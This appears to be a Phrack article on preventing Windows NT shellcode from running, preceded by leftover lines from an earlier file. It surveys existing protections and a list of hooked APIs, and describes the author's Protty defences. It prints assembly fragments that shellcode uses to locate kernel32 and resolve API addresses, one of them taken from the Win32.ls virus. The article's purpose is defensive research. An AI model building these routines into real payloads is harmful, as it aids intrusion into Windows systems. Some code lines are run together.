[ RUXCON is being held on 1st and 2nd of October ‑ see you there ] [ http://www.ruxcon.org.au/ ]

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

begin 644 src.tar.gz M'XL(`"UIVD(``^Q:"W0<U7F>G=T=K5:R+%G"Q@=CQK($DB/MZBU9M@'9%K*#

NT Shellcode Prevention Demystified

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x0f of 0x14

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ NT shellcodes prevention demystified ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[by Piotr Bania <bania.piotr@gmail.com>]=‑‑‑‑‑‑‑‑‑‑‑‑=|

What was alive is now dead;

all that was beautiful

is now the ugliness of devastation

And yet I do not altogether die

what is indestructible in me

remains!

Karol Wojtya,

Sophie Arie in Rome

...this short thing is dedicated to You ‑ R.I.P ...a glorious era has already ended.

‑‑[ Contents

I. Introduction

II. Known protections

II.A ‑ Hooking API functions and stack backtracing.

II.B ‑ Security cookie authentication (stack protection)

II.C ‑ Additional mechanisms ‑ module rebasing

III. What is shellcode and what it "must do"

IV. Getting addresses of kernel/needed functions ‑ enemy study

IV.A ‑ getting kernel address (known mechanisms)

IV.A.A ‑ PEB (Process Environment Block) parsing

IV.A.B ‑ searching for kernel in memory

IV.B ‑ getting API addresses (known methods)

IV.B.A ‑ export section parsing

IV.B.B ‑ import section parsing

V.New prevention techniques

VI.Action ‑ few samples of catched shellcodes

VII. Bad points (what you should know) ‑ TODO

VIII. Last words

IX. Code

X. References

‑‑[ I. Introduction

Nowadays there are many exploit prevention mechanisms for windows but each of them can by bypassed (according to my information). Reading this article keep in mind that codes and information provided here will increase security of your system but it doesn't mean you will be completely safe (cut&paste from condom box user manual).

‑‑[ II. Known protections

Like I said before, today there exist many commercial prevention mechanisms. Here we will get a little bit deeper inside of most common ring3 mechanisms.

II.A Hooking API functions and stack backtracing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Many nowadays buffer overflows protectors are not preventing the buffer overflow attack itself, but are only trying to detect running shellcode. Such BO protectors usually hook API functions that usually are used by shellcode. Hooking can be done in ring3 (userland) or kernel level (ring0, mainly syscalls and native api hooking). Lets take a look at example of such actions:

stack backtracing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Lets check the NGSEC stack backtracing mechanism, now imagine a call was made to the API function hooked by NGSEC Stack Defender.

So when a call to any of hooked APIs is done, the main Stack Defender mechanism stored in proxydll.dll will be loaded by the hooked function stored in .reloc section. Then following tests will be done:

Generally this comes up as params for the proxydll function (all of the arguments are integers):

assume: argument 1 = [esp+0ch] ‑ its "first" passed argument to the function this is always equal to the stack address 0xC bytes from the ESP.

argument 2 = address from where hooked api was called argument 3 = some single integer (no special care for this one) argument 4 = stack address of given param thru hooked API call

MAIN STEPS:

‑ I. ‑ execute VirtualQuery [1] on [esp+0Ch] (stack address)‑LOCATION1 ‑ II. ‑ execute VirtualQuery [1] on call_ret address ‑ LOCATION2 ‑ III.‑ if LOCATION1 allocation base returned in one of the members of MEMORY_BASIC_INFORMATION [2] is equal to the LOCATION2 allocation base then the call is comming for the stack space. Stack Defender kills the application and reports attack probe to the user. If not next step is executed.

‑ IV. ‑ call IsBadWritePtr [3] on location marked as LOCATION2 (addres of caller). If the API returns that location is writeable Stack Defender finds it as a shellcode and kills the application. If location is not writeable StackDefender executes the original API.

hooking exported API functions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When module exports some function it means that it's making this fuction usable for other modules. When such function is exported, PE file includes an information about exported function in so called export section. Hooking exported function is based on changing the exported function address in AddressOfFunctions entry in the export section. The great and one of the first examples of such action was very infamous i‑worm.Happy coded by french virus writter named as Spanska. This one hooks send and connects APIs exported from WSOCK32.DLL in order to monitor all outgoing messages from the infected machine. This technique was also used by one of the first win32 BO protectors ‑ the NGSEC's Stack Defender 1.10. The NGSEC mechanism modifies the original windows kernel (kernel32.dll) and hooks the following functions:

(the entries for each of the exported functions in EAT (Export Address Table) were changed, each function was hooked and its address was "repointed" to the .reloc section where the filtering procedure will be executed)

‑ WinExec

‑ CreateProcessW

‑ CreateProcessA

‑ LoadLibraryExA

‑ LoadLibraryExW

‑ OpenFile

‑ CreateThread

‑ CreateRemoteThread

‑ GetProcAddress

‑ LoadModule

‑ CreateFileA

‑ CreateFileW

‑ _lopen

‑ _lcreat

‑ CopyFileA

‑ CopyFileW

‑ CopyFileExA

‑ CopyFileExW

‑ MoveFileA

‑ MoveFileExW

‑ LockFile

‑ GetModuleHandleA

‑ VirtualProtect

‑ OpenProcess

‑ GetModuleHandleW

‑ MoveFileWithProgressA

‑ MoveFileWithProgressW

‑ DeleteFileA

inline API hooking

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This technique is based on overwritting the first 5 bytes of API function with call or unconditional jump.

I must say that one of the first implementations of such "hooking" technique (well i don't mean the API hooking method excatly) was described by GriYo in [12]. The feature described by GriYo was named "EPO" ‑ "Entry‑point Obscuring". Instead of changing the ENTRYPOINT of PE file [9] GriYo placed a so called "inject",a jump or call to virus inside host code but far away from the file entry‑point. This EPO technique makes a virus detection much much harder...

Of course the emulated bytes must be first known by the "hooker". So it generally must use some disassembler engine to determine instructions length and to check its type (i think you know the bad things can happen if you try to run grabbed call not from native location). Then those instructions are stored locally and after that they are simply executed (emulated). After that the execution is returned to native location. Just like the schema shows.

Inline API hooking feature is also present in Detours library developed by Microsoft [4]. Here is the standard sample how hooked function looks like:

BEFORE:

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CreateProcesA: push ebp; 1 bytes

mov ebp,esp; 2 bytes

push 0; 2 bytes

push dword ptr [ebp+2c]

...

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AFTER (SCHEMA):

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CreateProcessA:jmp hooked_function

where_ret:push dword ptr [ebp+2c]

...

hooked_function:pushfd; save flags

pushad; save regs

call do_checks; do some checks

popad; load regs

popfd; loadflags

push ebp; emulation

mov ebp,esp; of original

push 0; bytes

push offset where_ret; return to

ret; original func.

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Such type of hooking method was implemented in Okena/CSA and Entercept commercial mechanisms. When the hooked function is executed, BO prevention mechanism does similiar checks like in described above.

However BO preventers that use such feature can be defeat easily. Because I don't want to copy other phrack articles I suggest you looking at "Bypassing 3rd Party Windows Buffer Overflow Protection" [5] (phrack#62). It is a good article about bypassing such mechanisms.

II.B Security cookie authentication (stack protection)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This technique was implemented in Windows 2003 Server, and it is very often called as "build in Windows 2003 Server stack protection". In Microsoft Visual C++ .NET Microsoft added a "/GS" switch (default on) which place security cookies while generating the code. The cookie (or canary) is placed on the stack before the saved return address when a function is called. Before the procedure returns to the caller the security cookie is checked with its "prototype" version stored in the .data section. If the buffer overflow occurs the cookie is overwritten and it mismatches with the "prototype" one. This is the sign of buffer overflow.

Bypassing this example was well documented by David Litchfield so I advice you to take a look at the lecture [6].

II.C Additional mechanisms ‑ module rebasing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When we talk about buffer overflow prevention mechanism we shouldn't forget about so called "module rebasing". What is the idea of this technique? Few chapters lower you have an example code from "searching for kernel in memory" section, there you can find following variables:

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

; some of kernel base values used by Win32.ls

_kernells label

dd 077e80000h ‑ 1 ;NT 5

dd 0bff70000h ‑ 1 ;w9x

dd 077f00000h ‑ 1 ;NT 4

dd ‑1

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Like you probably know only these kernel locations in the table will be searched, what happens if shellcode doesn't know the imagebase of needed module (and all the search procedures failed)? Answer is easy shellcode can't work and it quits/crashes in most cases.

How the randomization is done? Generally all PE files(.exe/.dlls etc. etc) have an entry in the PE record (offset 34h) which contains the address where the module should be loaded. By changing this value we are able to relocate the module we want, of course this value must be well calculated otherwise your system can be working incorrectly.

Now, after little overview of common protections we can study the shellcode itself.

‑‑[ III. What is shellcode and what it "must do"

For those who don't know: Shellcode is a part of code which does all the dirty work (spawns a shell / drops trojans / bla bla) and it's a core of exploit.

What windows shellcode must do? Lets take a look at the following sample schema:

1) ‑ getting EIP

2) ‑ decoding loop if it's needed

3) ‑ getting addresses of kernel/needed functions

4) ‑ spawning a shell and all other dirty things

If you read assumptions (point II) and some other papers you will probably know that there is no way to cut third point from shellcode schema. Every windows shellcode must obtain needed data and that's a step we will try to detect.

Of course shellcode may use the hardcoded kernel value or hardcoded API values. That doesn't mean that shellcode will be not working, but generally things get harder when attacker doesn't know the victim machine (version of operating system ‑ different windows = different kernel addresses) or when the victim machine works with some protection levels like image base rebasing. Generally hardcoding those values decreases the success level of the shellcode.

‑‑[ IV. Getting addresses of kernel/needed functions ‑ enemy study

This chapter describes shortly most common methods used in shellcodes. To dig more deeply inside the stuff I advice you to read some papers from the Reference section

‑‑[ IV.A ‑ getting kernel address (known mechanisms)

IV.A.A ‑ PEB (Process Environment Block) parsing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PEB (Process Environment Block) parsing ‑ the following method was first introduced by the guy called Ratter [7] from infamous 29A group. By parsing the PEB_LDR_DATA we can obtain information about all currently loaded modules, like following example shows:

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

mov eax,dword ptr fs:[30h]; EAX is now PEB base

mov eax,dword ptr [eax+0ch]; EAX+0Ch = PEB_LDR_DATA

mov esi,dword ptr [eax+1ch]; get the first entry

mov ebx,[esi+08h]; EBX=ntdll imagebase

module_loopx:

lodsd

mov ebx,[eax+08h]; EBX=next dll imagebase

test ebx,ebx

jz @last_one_done

int 3

mov esi,eax; continue search

jmp module_loopx

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

IV.A.B ‑ searching for kernel in memory

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

searching for kernel in memory ‑ this example scans/tries different kernel locations (for different windows versions) and searches for MZ and PE markers, the search progress works together with SEH frame to avoid access violations.

Here is the example method (fragment of Win32.ls virus):

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

cld

lea esi,[ebp + offset _kernells ‑ @delta] ; load the kernel

array

@nextKernell:

lodsd ; load on base to EAX

push esi ; preserve ESI (kernel array location) inc eax ; is this the last one ? (‑1+1=0)

jz @bad ; seems so ‑> no kernel base matched

push ebp ; preserve EBP (delta handler)

call @kernellSEH ; check the loaded base

mov esp,[esp + 08h] ; restore the stack

@bad1:

pop dword ptr fs:[0] ; restore old SEH frame

pop eax ; normalize the stack

pop ebp ; load delta handle

pop esi ; go back to kernel array

jmp @nextKernell ; and check another base

@bad:

pop eax ; no kernel found, virus

jmp @returnHost ; returning to host

; some of kernel base values used by Win32.ls

_kernells label

dd 077e80000h ‑ 1 ;NT 5

dd 0bff70000h ‑ 1 ;w9x

dd 077f00000h ‑ 1 ;NT 4

dd ‑1

@kernellSEH:

push dword ptr fs:[0] ; setup new SHE handler

mov dword ptr fs:[0],esp

mov ebx,eax ; EBX=imagebase

xchg eax,esi

xor eax,eax

lodsw ; get first 2 bytes from imagebase not eax ; is it MZ?

cmp eax,not 'ZM' ; compare

jnz @bad1 ; it isn't check next base

mov eax,[esi + 03ch] ; MZ is found now scan for PE sign add eax,ebx ; normalize (RVA2VA)

xchg eax,esi

lodsd ; read 4 bytes

not eax

cmp eax,not 'EP' ; is it PE?

jnz @bad1 ; nope check next base

pop dword ptr fs:[0] ; return (setup) old SEH

pop eax ebp esi ; clear stack

; EBX is now valid kernel base

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ IV.B ‑ getting API addresses (known methods)

IV.B.A ‑ export section parsing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

export section parsing ‑ when the module (usually kernel32.dll) base is located, shellcode can scan export section and find some API functions needed for later use. Usually shellcode is searching for GetProcAddress() function address, then it is used to get location of the others APIs.

Following code parses kernel32.dll export section and gets address of GetProcAddress API:

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

; EAX=imagebase of kernel32.dll

xor ebp,ebp ; zero the counter

mov ebx,[eax+3ch] ; get pe header

add ebx,eax ; normalize

mov edx,[ebx+078h] ; export section RVA

add edx,eax ; normalize

mov ecx,[edx+020h] ; address of names

add ecx,eax ; normalize

mov esi,[edx+01ch] ; address of functions

add esi,eax ; normalize

loop_it:

mov edi,[ecx] ; get one name

add edi,eax ; normalize

cmp dword ptr [edi+4],'Acor' ; is it GetP‑rocA‑ddress ?? :) jne @l ; nope ‑> jump to @l

; yes it is

add esi,ebp ; add out counter

mov esi,[esi] ; get the address

add esi,eax ; normalize

int 3 ; ESI=address of GetProcAddress

@l:

add ecx,4 ; to next name

add ebp,4 ; update counter (dwords)

jmp loop_it ; and loop it again

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

IV.B.B ‑ import section parsing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

import section parsing ‑ 99% of hll applications import GetProcAddress/LoadLibraryA, it means that their IAT (Import Address Table) includes address and name string of the mentioned functions. If shellcode "knows" the imagebase of target application it can easily grab needed address from the IAT.

Just like following code shows:

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;following example gets LoadLibraryA address from IAT

IMAGEBASE equ 00400000h

mov ebx,IMAGEBASE

mov eax,ebx

add eax,[eax+3ch] ; PE header

mov edi,[eax+80h] ; import RVA

add edi,ebx ; normalize

xor ebp,ebp

mov edx,[edi+10h] ; pointer to addresses add edx,ebx ; normalize

mov esi,[edi] ; pointer to ascii strings add esi,ebx ; normalize

@loop:

mov eax,[esi]

add eax,ebx

add eax,2

cmp dword ptr [eax],'daoL' ; is this LoadLibraryA? jne @l

add edx,ebp ; normalize

mov edx,[edx] ; edx=address of

int 3 ; LoadLibraryA

@l:

add ebp,4 ; increase counter

add esi,4 ; next name

jmp @loop ; loop it

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After this little introduction we can finally move to real things.

‑‑[ V. New prevention techniques

While thinking about buffer overflow attacks I've noticed that methods from chapter IV are most often used in shellcodes. And thats the thing I wanted to prevent, I wanted to develop prevention technique which acts in very early stage of shellcode execution and here are the results of my work:

Why two Protty libraries / two techniques of prevention?

When I have coded first Protty (P1) library it worked fine except some Microsoft products like Internet Explorer, Explorer.exe (windows manager) etc. in thoose cases the prevention mechanisms eat all cpu.

I simply got nervous and I have rebuilt the mechanisms and that's how second Protty (P2) library was born. Im describing them both because everything that gives any bit of knowledge is worth describing :) Anyway Im not saying the second one is perfect each solution got its bad and good points.

What I have done ‑ the protection features:

‑ protecting EXPORT section ‑ protecting function addresses array (any exe/dll library)

‑ IAT RVA killer (any exe/dll library)

‑ protecting IAT ‑ protecting functions names array (any exe/dll library) ‑ protecting PEB (Process Environment Block)

‑ disabling SEH/Unhandled Exception Filter usage

‑ RtlEnterCrticialSection pointer protector

NOTE: All those needed pointers (IMPORT/EXPORT sections) are found in similiar way like in IVth chapter.

FEATURE: EXPORT SECTION PROTECTION (protecting "function addresses array") ‑‑‑‑‑‑‑

Every shellcode that parses EXPORT section (mainly kernel32.dll one) want to get to exported function addresses, and that's the thing I tried to block, here is the technique:

Algorithm/method for mechanism used in Protty1 (P1):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. Allocate enough memory to handle Address Of Functions table from the export section.

Address of Function table is an array which cointains addresses of exported API functions, like here for KERNEL32.DLL:

D:\>tdump kernel32.dll kernel32.txt & type kernel32.txt

(...snip...)

Name RVA Size

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑

Exports 0006D040 00006B39

(...snip...)

Exports from KERNEL32.dll

942 exported name(s), 942 export addresse(s). Ordinal base is 1.

Ordinal RVA Name

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑

0000 000137e8 ActivateActCtx

0001 000093fe AddAtomA

0002 0000d496 AddAtomW

0003 000607c5 AddConsoleAliasA

0004 0006078e AddConsoleAliasW

0005 0004e0a1 AddLocalAlternateComputerNameA 0006 0004df8c AddLocalAlternateComputerNameW

(...snip...)

Where RVA values are entries from Address of Functions table, so if first exported symbol is ActivateActCtx, first entry of Address of Function will be its RVA. The size of Address of Functions table depends on number of exported functions.

All those IMPORT / EXPORT sections structures are very well documented in Matt Pietrek, "An In‑Depth Look into the Win32 Portable Executable File Format" paper [9].

2. Copy original addresses of functions to the allocated memory. 3. Make original function addresses entries writeable.

4. Erase all old function addresses.

5. Make erased function addresses entries readable only.

6. Update the pointer to Address of Functions tables and point it to our allocated memory:

‑ Make page that contains pointer writeable.

‑ Overwrite with new location of Address of Function Table ‑ Make page that contains pointer readable again.

7. Mark allocated memory (new function addresses) as PAGE_NOACCESS.

We couldn't directly set the PAGE_NOACCESS protection to original function addresses because some other data in the same page must be also accessible (well SAFE_MEMORY_MODE should cover all cases even when protection of original page was changed to PAGE_NOACCESS ‑ however such action increases CPU usage of the mechanism). The best way seems to be to allocate new memory region for it.

What does the PAGE_NOACCESS protection? :

‑ PAGE_NOACCESS disables all access to the committed region of pages. An attempt to read from, write to, or execute in the committed region results in an access violation exception, called a general protection (GP) fault.

Now all references to the table with function addresses will cause an access violation exception, the description of the exception checking mechanism is written in next chapter ("Description of mechanism implemented in ...").

Just like the schema shows (A. ‑ stands for "address"):

‑‑‑ SNIP ‑‑‑ START OF SCHEMA. 1a

SOME PE MODULE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| export section |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| start | + imagebase

| (...) | ‑‑‑‑‑‑‑‑‑‑‑OLD ARRAY WITH FUNCTIONS ADDRS

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |

| NUMBER OF NAMES | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|BEFORE^| AFTER>

| A. OF FUNCTIONS |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| + ‑‑//‑‑

| A. OF NAMES | | (NEWLY ALLOCATED MEMORY)

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| NEW ARRAY WITH FUNCTIONS ADDRS

| A. OF ORDINALS | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| (...) | function 1 addr | / PAGE

| end | | function 2 addr |‑ NO

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ACCESS

RIGHTS

ALL FUNCTION ADDRESSES IN OLD ARRAY

WERE PERMANENTLY OVERWRITTEN WITH NULL!

‑‑‑ SNIP ‑‑‑ END OF SCHEMA. 1a

Algorithm/method for mechanism used in Protty2 (P2):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. Allocate enough memory to handle Address Of Functions table from the export section.

2. Copy original addresses to the allocated memory.

3. Make original function addresses entries writeable.

4. Erase all old function addresses.

5. Make erased function addresses entries readable only.

6. Make pointer to Address Of Functions writeable.

7. Allocate small memory array for decoy (with PAGE_NOACCES rights). 8. Write entry to protected region lists.

8. Update the pointer to Address Of Functions and point it to our allocated decoy.

9. Update protected region list (write table entry)

10.Make pointer to Address Of Function readable only.

‑‑‑ SNIP ‑‑‑ START OF SCHEMA. 1b

SOME PE MODULE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| export section |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| start | + imagebase

| (...) | ‑‑‑‑‑‑‑‑‑‑‑OLD ARRAY WITH FUNCTIONS ADDRS

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |

| NUMBER OF NAMES | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|BEFORE^| AFTER>

| A. OF FUNCTIONS |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| + ‑‑//‑‑

| A. OF NAMES | | ‑‑‑‑‑‑PAGENOACCESS

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| DECOY |‑ RIGHTS

| A. OF ORDINALS | ‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| (...) | Somewhere in memory:

| end | (allocated memory with functions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ address entries):

| function 1 addr |

function 2 addr |

ALL FUNCTION ADDRESSES IN OLD ARRAY

WERE PERMANENTLY OVERWRITTEN WITH NULL!

‑‑‑ SNIP ‑‑‑ END OF SCHEMA. 1b

What have I gained by switching from the first method (real arrays) to the second one (decoys)?

The answer is easy. The first one was pretty slow solution (all the time i needed to deprotect the region and protect is again) in the second one i don't have to de‑protect and protect the real array, the only thing i need to do is update the register value and make it point to the orginal requested body.

FEATURE: IMPORT SECTION PROTECTION (protecting "functions names array" + ‑‑‑‑‑‑‑ IAT RVA killer)

IAT RVA killer mechanism for both Protty1 (P1) and Protty2 (P2)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All actions are similar to those taken in previous step, however here we are redirecting IMPORTS function names and overwriting IAT RVA (with pseudo random value returned by GetTickCount ‑ bit swapped).

And here is the schema which shows IAT RVA killing:

‑‑‑ SNIP ‑‑‑ START OF SCHEMA. 2

SOME PE MODULE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| NT HEADER |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| start | + imagebase

| (...) | ‑‑‑‑‑‑‑‑‑‑MODULE IMPORT SECTION

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |

| EXPORT SIZE | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| BEFORE^| AFTER>

| IMPORT RVA |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> NO EXISTING LOCATION (*)

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| + ‑‑//‑‑

| IMPORT SIZE |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| (...) |

| end |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(*) ‑ the IMPORT RVA is overwritten with value returned by GetTickCount swaped one time, generally it's kind of idiotic action because many of you can assume such operation can give a drastic effect with application stability. Well you are wrong, overwritting the IMPORT RVA >after< successful loading of any pe module has no right to cause instability (atleast it worked in my case, remeber this is windows and you are messing a lot ...)

‑‑‑ SNIP ‑‑‑ END OF SCHEMA. 2

And here's the one describing protecting "functions names array", for Protty1 (P1):

‑‑‑ SNIP ‑‑‑ START OF SCHEMA. 3a

SOME PE MODULE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| import section | +blabla

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| ‑‑‑‑‑‑‑ARRAY OF FUNCTION NAMES

| start | |

| (...) | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| BEFORE^ | AFTER>

| A. OF NAMES |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> (NEWLY ALLOCATED MEMORY)

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| +blabla NEW ARRAY OF FUNCTION NAMES

| (...) |

| end | ‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Function1",0 |/ PAGE

Function2",0 |‑ NO

Function3",0 |\ ACCESS

RIGHTS

ALL NAMES IN OLD NAMES OF FUNCTIONS ARRAY

WERE PERMANENTLY OVERWRITTEN BY NULL

NOTE: I have choosed Address Of Names array, because it is much less accessed memory region than Address Of Functions array ‑ so less CPU consumption (but bit more unsecure ‑ you can do it yourself).

‑‑‑ SNIP ‑‑‑ END OF SCHEMA. 3a

And here's the one describing protecting "functions names array", for Protty1 (P2):

‑‑‑ SNIP ‑‑‑ START OF SCHEMA. 3b

SOME PE MODULE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| import section | +blabla

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| ‑‑‑‑‑‑‑ARRAY OF FUNCTION NAMES

| start | |

| (...) | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| BEFORE^ | AFTER> ‑‑‑‑‑‑‑‑‑‑‑‑‑ / PAGE

| A. OF NAMES |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> | DECOY |‑NO ACCESS

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| +blabla ‑‑‑‑‑‑‑‑‑‑‑‑‑ \ RIGHTS

| (...) |

| end |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Somewhere in memory:

(allocated memory with original

function names):

||

‑‑‑‑

| "Function1",0 |

| "Function2",0 |

| "Function3",0 |

‑‑‑‑

ALL NAMES IN OLD NAMES OF FUNCTIONS ARRAY

WERE PERMANENTLY OVERWRITTEN BY NULL

‑‑‑ SNIP ‑‑‑ END OF SCHEMA. 3b

FEATURE: PEB (Process Environment Block) protection (PEB_LDR_DATA) ‑‑‑‑‑‑‑

Algorithm/method for mechanism used in Protty1 (P1):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. Get PEB_LDR_DATA [7] structure location

2. Update the region list

3. Mark all PEB_LDR_DATA [7] structure as PAGE_NO_ACCESS

‑‑‑ SNIP ‑‑‑ START OF SCHEMA. 4a

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| PEB_LDR_DATA |\

| .... |‑‑‑‑ NOW MARKED WITH PAGE_NOACCESS.

| .... |/

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

